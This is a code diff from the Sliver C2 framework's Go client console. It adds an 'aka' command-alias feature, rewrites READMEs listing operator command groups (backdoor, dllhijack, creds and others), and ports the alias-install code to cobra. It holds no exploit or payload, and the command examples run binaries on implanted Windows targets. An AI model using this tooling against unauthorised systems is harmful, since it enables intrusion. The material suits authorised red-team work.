||||
return "", fmt.Errorf("read rc script %q: %w", rcPath, err)
|
||||
}
|
||||
return string(data), nil
|
||||
}
|
||||
+63
-11
@@ -1,14 +1,66 @@
|
||||
Command
|
||||
=======
|
||||
# client/command
|
||||
|
||||
This package contains all of the client command implementations that are shared between the client and the server console.
|
||||
## Overview
|
||||
|
||||
### Developers
|
||||
Shared registration glue, scaffolding, and helpers for Sliver client console command groups. Hosts common utilities for binding Cobra commands to RPC-backed actions. Core logic addresses sliver within the command package.
|
||||
|
||||
General guidance on the structure of this package:
|
||||
* One command per file and the name of the file should reflect the command it implements (or there about, trivial commands can go into the same file). This makes it easy to find where a command implementation lives within a package or to search by file name if it is not clear which package implements a given command.
|
||||
* The root command, and reused code should go into the file named after the command
|
||||
* For example, code shared between the `generate` and the `regenerate` command should go in `generate.go`, and any `regenerate` specific code should go in `regenerate.go`
|
||||
* Command entrypoint functions should have the suffix `Cmd` e.g., `GenerateCmd` is the entrypoint for `generate`
|
||||
* Command entrypoints should always a function signature of `func (ctx *grumble.Context, con *console.SliverConsoleClient)`
|
||||
* Functions that are only ever exported for other commands to use should go in a `helpers.go`, if the function is used internally and exported follow the guidance above on shared code.
|
||||
## Go Files
|
||||
|
||||
- `command.go` – Provides helpers for binding Cobra commands, flag sets, and visibility filters into the client command tree.
|
||||
- `server.go` – Defines the server menu composition, wiring each server-side command group onto the root console structure at runtime.
|
||||
- `main.go` – Builds the implant/Sliver menu, attaching per-target command groups and loading alias/extension manifests before exposure.
|
||||
|
||||
## Sub-packages
|
||||
|
||||
- `alias/` – Implements the 'alias' command group for the Sliver client console.
|
||||
- `armory/` – Implements the 'armory' command group for the Sliver client console.
|
||||
- `backdoor/` – Implements the 'backdoor' command group for the Sliver client console.
|
||||
- `beacons/` – Implements the 'beacons' command group for the Sliver client console.
|
||||
- `builders/` – Implements the 'builders' command group for the Sliver client console.
|
||||
- `c2profiles/` – Implements the 'c2profiles' command group for the Sliver client console.
|
||||
- `certificates/` – Implements the 'certificates' command group for the Sliver client console.
|
||||
- `clean/` – Implements the 'clean' command group for the Sliver client console.
|
||||
- `completers/` – Implements the 'completers' command group for the Sliver client console.
|
||||
- `crack/` – Implements the 'crack' command group for the Sliver client console.
|
||||
- `creds/` – Implements the 'creds' command group for the Sliver client console.
|
||||
- `cursed/` – Implements the 'cursed' command group for the Sliver client console.
|
||||
- `dllhijack/` – Implements the 'dllhijack' command group for the Sliver client console.
|
||||
- `environment/` – Implements the 'environment' command group for the Sliver client console.
|
||||
- `exec/` – Implements the 'exec' command group for the Sliver client console.
|
||||
- `exit/` – Implements the 'exit' command group for the Sliver client console.
|
||||
- `extensions/` – Implements the 'extensions' command group for the Sliver client console.
|
||||
- `filesystem/` – Implements the 'filesystem' command group for the Sliver client console.
|
||||
- `flags/` – Implements the 'flags' command group for the Sliver client console.
|
||||
- `generate/` – Implements the 'generate' command group for the Sliver client console.
|
||||
- `help/` – Implements the 'help' command group for the Sliver client console.
|
||||
- `hosts/` – Implements the 'hosts' command group for the Sliver client console.
|
||||
- `info/` – Implements the 'info' command group for the Sliver client console.
|
||||
- `jobs/` – Implements the 'jobs' command group for the Sliver client console.
|
||||
- `kill/` – Implements the 'kill' command group for the Sliver client console.
|
||||
- `licenses/` – Implements the 'licenses' command group for the Sliver client console.
|
||||
- `loot/` – Implements the 'loot' command group for the Sliver client console.
|
||||
- `monitor/` – Implements the 'monitor' command group for the Sliver client console.
|
||||
- `mcp/` – Implements the 'mcp' command group for the Sliver client console.
|
||||
- `network/` – Implements the 'network' command group for the Sliver client console.
|
||||
- `operators/` – Implements the 'operators' command group for the Sliver client console.
|
||||
- `pivots/` – Implements the 'pivots' command group for the Sliver client console.
|
||||
- `portfwd/` – Implements the 'portfwd' command group for the Sliver client console.
|
||||
- `privilege/` – Implements the 'privilege' command group for the Sliver client console.
|
||||
- `processes/` – Implements the 'processes' command group for the Sliver client console.
|
||||
- `reaction/` – Implements the 'reaction' command group for the Sliver client console.
|
||||
- `reconfig/` – Implements the 'reconfig' command group for the Sliver client console.
|
||||
- `registry/` – Implements the 'registry' command group for the Sliver client console.
|
||||
- `rportfwd/` – Implements the 'rportfwd' command group for the Sliver client console.
|
||||
- `screenshot/` – Implements the 'screenshot' command group for the Sliver client console.
|
||||
- `sessions/` – Implements the 'sessions' command group for the Sliver client console.
|
||||
- `settings/` – Implements the 'settings' command group for the Sliver client console.
|
||||
- `shell/` – Implements the 'shell' command group for the Sliver client console.
|
||||
- `shikata-ga-nai/` – Implements the 'shikata-ga-nai' command group for the Sliver client console.
|
||||
- `socks/` – Implements the 'socks' command group for the Sliver client console.
|
||||
- `taskmany/` – Implements the 'taskmany' command group for the Sliver client console.
|
||||
- `tasks/` – Implements the 'tasks' command group for the Sliver client console.
|
||||
- `update/` – Implements the 'update' command group for the Sliver client console.
|
||||
- `use/` – Implements the 'use' command group for the Sliver client console.
|
||||
- `wasm/` – Implements the 'wasm' command group for the Sliver client console.
|
||||
- `websites/` – Implements the 'websites' command group for the Sliver client console.
|
||||
- `wireguard/` – Implements the 'wireguard' command group for the Sliver client console.
|
||||
@@ -0,0 +1,23 @@
|
||||
# client/command/aka
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'aka' command group for the Sliver client console. "Aka"s are
|
||||
command aliases (like 'alias' in 'bash') that allow operators to specify
|
||||
shorthand commands and default arguments for commonly used commands.
|
||||
|
||||
### Examples:
|
||||
|
||||
- `aka create bg background`: Allows an operator to run `bg` from the implant
|
||||
menu to quickly move back to the server menu
|
||||
- `aka create execw execute -o "C:\Windows\System32\cmd.exe" /c`: Shorthand for
|
||||
executing binaries on Windows targets like: `execw arp -a`
|
||||
|
||||
## Go Files
|
||||
|
||||
- `commands.go` – Wires Cobra commands for listing, creating, and deleting command aliases in the client console.
|
||||
- `create.go` – Handles creating command aliases to use by the client.
|
||||
- `delete.go` – Removes command aliases currently tracked by the client.
|
||||
- `hook.go` – The main hooking logic to intercept commands ran by the client console. The hook will intercept processing before hitting the Cobra tree to transform the command alias to a full command with default arguments from the command alias and user-provided arguments to the alias.
|
||||
- `list.go` - Lists the current command aliases tracked by the client.
|
||||
- `storage.go` - Supports the saving of aliases to disk to keep between runs of the client.
|
||||
@@ -0,0 +1,59 @@
|
||||
package aka
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func ServerCommands(con *console.SliverClient) []*cobra.Command {
|
||||
return commands(con, constants.GenericHelpGroup)
|
||||
}
|
||||
|
||||
func ImplantCommands(con *console.SliverClient) []*cobra.Command {
|
||||
return commands(con, constants.SliverCoreHelpGroup)
|
||||
}
|
||||
|
||||
func commands(con *console.SliverClient, group string) []*cobra.Command {
|
||||
akaCommand := &cobra.Command{
|
||||
Use: "aka",
|
||||
Short: "Manage command aliases (aka's)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
AkaListCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: group,
|
||||
}
|
||||
|
||||
createAka := &cobra.Command{
|
||||
Use: "create <alias> <command> [args...]",
|
||||
Short: "Create a new command alias (aka)",
|
||||
Args: cobra.MinimumNArgs(2),
|
||||
DisableFlagParsing: true, // No flags with aka create so we capture flags to other commands
|
||||
DisableFlagsInUseLine: true,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
AkaCreateCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
createAka.InitDefaultHelpFlag()
|
||||
createAka.Flags().Lookup("help").Hidden = true
|
||||
akaCommand.AddCommand(createAka)
|
||||
|
||||
deleteAka := &cobra.Command{
|
||||
Use: "delete <alias>",
|
||||
Short: "Delete a command alias (aka)",
|
||||
Args: cobra.MinimumNArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
AkaDeleteCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
akaCommand.AddCommand(deleteAka)
|
||||
|
||||
con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, Cmdhook)
|
||||
|
||||
err := LoadAkaAliases()
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load aka alises: %s\n", err)
|
||||
}
|
||||
|
||||
return []*cobra.Command{akaCommand}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
package aka
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func AkaCreateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
aliasName := args[0]
|
||||
command := args[1]
|
||||
defaultArgs := args[2:] // anything else is going to be the default args to the alias
|
||||
|
||||
if _, exists := akaAliases[aliasName]; exists {
|
||||
con.PrintErrorf("Alias '%s' already exists\n", aliasName)
|
||||
return
|
||||
}
|
||||
|
||||
var desc string
|
||||
if len(defaultArgs) == 0 {
|
||||
desc = fmt.Sprintf("%s", command)
|
||||
} else {
|
||||
desc = fmt.Sprintf("%s %s", command, strings.Join(defaultArgs, " "))
|
||||
}
|
||||
|
||||
alias := &AkaAlias{
|
||||
Name: aliasName,
|
||||
Command: command,
|
||||
DefaultArgs: defaultArgs,
|
||||
Description: desc,
|
||||
}
|
||||
|
||||
akaAliases[aliasName] = alias
|
||||
|
||||
// save this new alias to disk
|
||||
err := SaveAkaAliases()
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save alias '%s' to disk: %s\n", aliasName, err)
|
||||
// we still technically added it to the map, so the alias did get created in
|
||||
// memory so we should still print the Info message below
|
||||
}
|
||||
|
||||
con.PrintInfof("Create alias for '%s' -> '%v'\n", aliasName, alias.Description)
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package aka
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func AkaDeleteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
aliasName := args[0]
|
||||
if _, exists := akaAliases[aliasName]; !exists {
|
||||
con.PrintErrorf("Alias '%s' does not exist\n", aliasName)
|
||||
return
|
||||
}
|
||||
|
||||
delete(akaAliases, aliasName)
|
||||
|
||||
// Save updated map to disk
|
||||
err := SaveAkaAliases()
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save aliases to disk: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Deleted alias '%s'\n", aliasName)
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
package aka
|
||||
|
||||
import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
func Cmdhook(args []string) ([]string, error) {
|
||||
if len(args) == 0 {
|
||||
return args, nil
|
||||
}
|
||||
|
||||
if aliasArgs, exists := akaAliases[args[0]]; exists {
|
||||
var expandedArgs []string
|
||||
|
||||
expandedArgs = append(expandedArgs, aliasArgs.Command)
|
||||
expandedArgs = append(expandedArgs, aliasArgs.DefaultArgs...)
|
||||
// join the user passed args so the shell processes it without flags if
|
||||
// available
|
||||
if len(args[1:]) > 0 {
|
||||
expandedArgs = append(expandedArgs, strings.Join(args[1:], " "))
|
||||
}
|
||||
|
||||
return expandedArgs, nil
|
||||
}
|
||||
|
||||
return args, nil
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package aka
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func AkaListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if len(akaAliases) == 0 {
|
||||
con.PrintInfof("No command aliases created. Use `aka create` to create one.\n")
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Alias",
|
||||
"Command",
|
||||
})
|
||||
|
||||
for alias, cmd := range akaAliases {
|
||||
tw.AppendRow(table.Row{
|
||||
alias,
|
||||
cmd.Description,
|
||||
})
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
package aka
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
)
|
||||
|
||||
type AkaAlias struct {
|
||||
Name string `json:"name"` // alias Name
|
||||
Command string `json:"command"` // command being aliased
|
||||
DefaultArgs []string `json:"default_args"` // args passed by the user
|
||||
Description string `json:"description"`
|
||||
}
|
||||
|
||||
var akaAliases = make(map[string]*AkaAlias)
|
||||
|
||||
const (
|
||||
akaAliasFileName = "aka-aliases.json"
|
||||
)
|
||||
|
||||
func GetAkaAliasesFilePath() string {
|
||||
return filepath.Join(assets.GetRootAppDir(), akaAliasFileName)
|
||||
}
|
||||
|
||||
func LoadAkaAliases() error {
|
||||
filepath := GetAkaAliasesFilePath()
|
||||
data, err := os.ReadFile(filepath)
|
||||
if err != nil {
|
||||
// if file hasn't been created yet, we fail gracefully
|
||||
if os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
// otherwise, return the actual error; something else went wrong
|
||||
return err
|
||||
}
|
||||
|
||||
aliases := []AkaAlias{}
|
||||
err = json.Unmarshal(data, &aliases)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
akaAliases = make(map[string]*AkaAlias)
|
||||
|
||||
for _, alias := range aliases {
|
||||
akaAliases[alias.Name] = &alias
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func SaveAkaAliases() error {
|
||||
filepath := GetAkaAliasesFilePath()
|
||||
aliases := make([]*AkaAlias, 0, len(akaAliases))
|
||||
for _, alias := range akaAliases {
|
||||
aliases = append(aliases, alias)
|
||||
}
|
||||
|
||||
data, err := json.MarshalIndent(aliases, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return os.WriteFile(filepath, data, 0o600)
|
||||
}
|
||||
@@ -1,11 +1,14 @@
|
||||
Alias
|
||||
===========
|
||||
# client/command/alias
|
||||
|
||||
Wraps external DLLs/tool in Sliver console commands.
|
||||
## Overview
|
||||
|
||||
Implements the 'alias' command group for the Sliver client console. Handlers map Cobra invocations to alias workflows such as install, load, and remove.
|
||||
|
||||
## Go Files
|
||||
|
||||
### Format
|
||||
|
||||
* `alias-dir/`
|
||||
* * `manifest.json` -
|
||||
- `alias.go` – Implements runtime alias management, printing installed aliases and exposing tab-completion helpers.
|
||||
- `alias_test.go` *(tests)* – Exercises manifest parsing logic to ensure alias metadata is interpreted correctly.
|
||||
- `commands.go` – Wires Cobra commands for listing, installing, loading, and removing aliases into the client console.
|
||||
- `install.go` – Handles installing alias bundles from directories or archives, writing manifests and payload artifacts to disk.
|
||||
- `load.go` – Loads alias manifests, validates target compatibility, and registers commands against the active console.
|
||||
- `remove.go` – Removes installed aliases, prompting for confirmation and deleting associated on-disk assets.
|
||||
@@ -21,28 +21,31 @@ package alias
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// AliasesCmd - The alias command
|
||||
func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// AliasesCmd - The alias command.
|
||||
func AliasesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) error {
|
||||
if 0 < len(loadedAliases) {
|
||||
PrintAliases(con)
|
||||
} else {
|
||||
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// PrintAliases - Print a list of loaded aliases
|
||||
func PrintAliases(con *console.SliverConsoleClient) {
|
||||
// PrintAliases - Print a list of loaded aliases.
|
||||
func PrintAliases(con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
@@ -84,8 +87,8 @@ func PrintAliases(con *console.SliverConsoleClient) {
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
// AliasCommandNameCompleter - Completer for installed extensions command names
|
||||
func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
// AliasCommandNameCompleter - Completer for installed extensions command names.
|
||||
func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverClient) []string {
|
||||
results := []string{}
|
||||
for name := range loadedAliases {
|
||||
if strings.HasPrefix(name, prefix) {
|
||||
@@ -111,7 +114,7 @@ func getInstalledManifests() map[string]*AliasManifest {
|
||||
manifestPaths := assets.GetInstalledAliasManifests()
|
||||
installedManifests := map[string]*AliasManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -124,3 +127,14 @@ func getInstalledManifests() map[string]*AliasManifest {
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
|
||||
// AliasCommandNameCompleter - Completer for installed extensions command names.
|
||||
func AliasCompleter() carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
results := []string{}
|
||||
for name := range loadedAliases {
|
||||
results = append(results, name)
|
||||
}
|
||||
return carapace.ActionValues(results...).Tag("aliases")
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
package alias
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// Commands returns the `alias` command and its child commands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
aliasCmd := &cobra.Command{
|
||||
Use: consts.AliasesStr,
|
||||
Short: "List current aliases",
|
||||
Long: help.GetHelpFor([]string{consts.AliasesStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
AliasesCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.GenericHelpGroup,
|
||||
}
|
||||
|
||||
aliasLoadCmd := &cobra.Command{
|
||||
Use: consts.LoadStr + " [ALIAS]",
|
||||
Short: "Load a command alias",
|
||||
Long: help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
AliasesLoadCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
aliasCmd.AddCommand(aliasLoadCmd)
|
||||
flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory"))
|
||||
|
||||
aliasInstallCmd := &cobra.Command{
|
||||
Use: consts.InstallStr + " [ALIAS]",
|
||||
Short: "Install a command alias",
|
||||
Long: help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
AliasesInstallCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
aliasCmd.AddCommand(aliasInstallCmd)
|
||||
flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file"))
|
||||
|
||||
aliasRemove := &cobra.Command{
|
||||
Use: consts.RmStr + " [ALIAS]",
|
||||
Short: "Remove an alias",
|
||||
Long: help.GetHelpFor([]string{consts.RmStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
AliasesRemoveCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.NewCompletions(aliasRemove).PositionalCompletion(AliasCompleter())
|
||||
aliasCmd.AddCommand(aliasRemove)
|
||||
|
||||
return []*cobra.Command{aliasCmd}
|
||||
}
|
||||
@@ -20,36 +20,35 @@ package alias
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// AliasesInstallCmd - Install an alias
|
||||
func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
aliasLocalPath := ctx.Args.String("path")
|
||||
// AliasesInstallCmd - Install an alias.
|
||||
func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
aliasLocalPath := args[0]
|
||||
fi, err := os.Stat(aliasLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
|
||||
con.PrintErrorf("Alias path '%s' does not exist", aliasLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFile(aliasLocalPath, false, con)
|
||||
InstallFromFile(aliasLocalPath, "", false, con)
|
||||
} else {
|
||||
installFromDir(aliasLocalPath, con)
|
||||
}
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
|
||||
// Install an extension from a directory.
|
||||
func installFromDir(aliasLocalPath string, con *console.SliverClient) {
|
||||
manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
@@ -63,8 +62,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Overwrite current install?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
@@ -74,12 +72,12 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating alias directory: %s\n", err)
|
||||
con.PrintErrorf("Error creating alias directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
@@ -90,7 +88,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
@@ -100,8 +98,8 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
|
||||
// Install an extension from a .tar.gz file
|
||||
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
// Install an extension from a .tar.gz file.
|
||||
func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite bool, con *console.SliverClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
|
||||
@@ -109,16 +107,21 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
}
|
||||
manifest, err := ParseAliasManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
errorMsg := ""
|
||||
if aliasName != "" {
|
||||
errorMsg = fmt.Sprintf("Error processing manifest for alias %s - failed to parse %s: %s\n", aliasName, ManifestFileName, err)
|
||||
} else {
|
||||
errorMsg = fmt.Sprintf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
}
|
||||
con.PrintErrorf("%s", errorMsg)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
if promptToOverwrite {
|
||||
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Overwrite current install?", &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
@@ -129,20 +132,20 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
|
||||
con.PrintErrorf("Failed to create alias directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
for _, aliasFile := range manifest.Files {
|
||||
if aliasFile.Path != "" {
|
||||
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
|
||||
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
con.PrintErrorf("Failed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
@@ -152,8 +155,8 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string) error {
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator))))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -165,7 +168,7 @@ func installArtifact(aliasGzFilePath string, installPath, artifactPath string, c
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(artifactDir, 0o700)
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
err = os.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
+388
-123
@@ -27,15 +27,19 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/packages"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/carapace-sh/carapace"
|
||||
app "github.com/reeflective/console"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
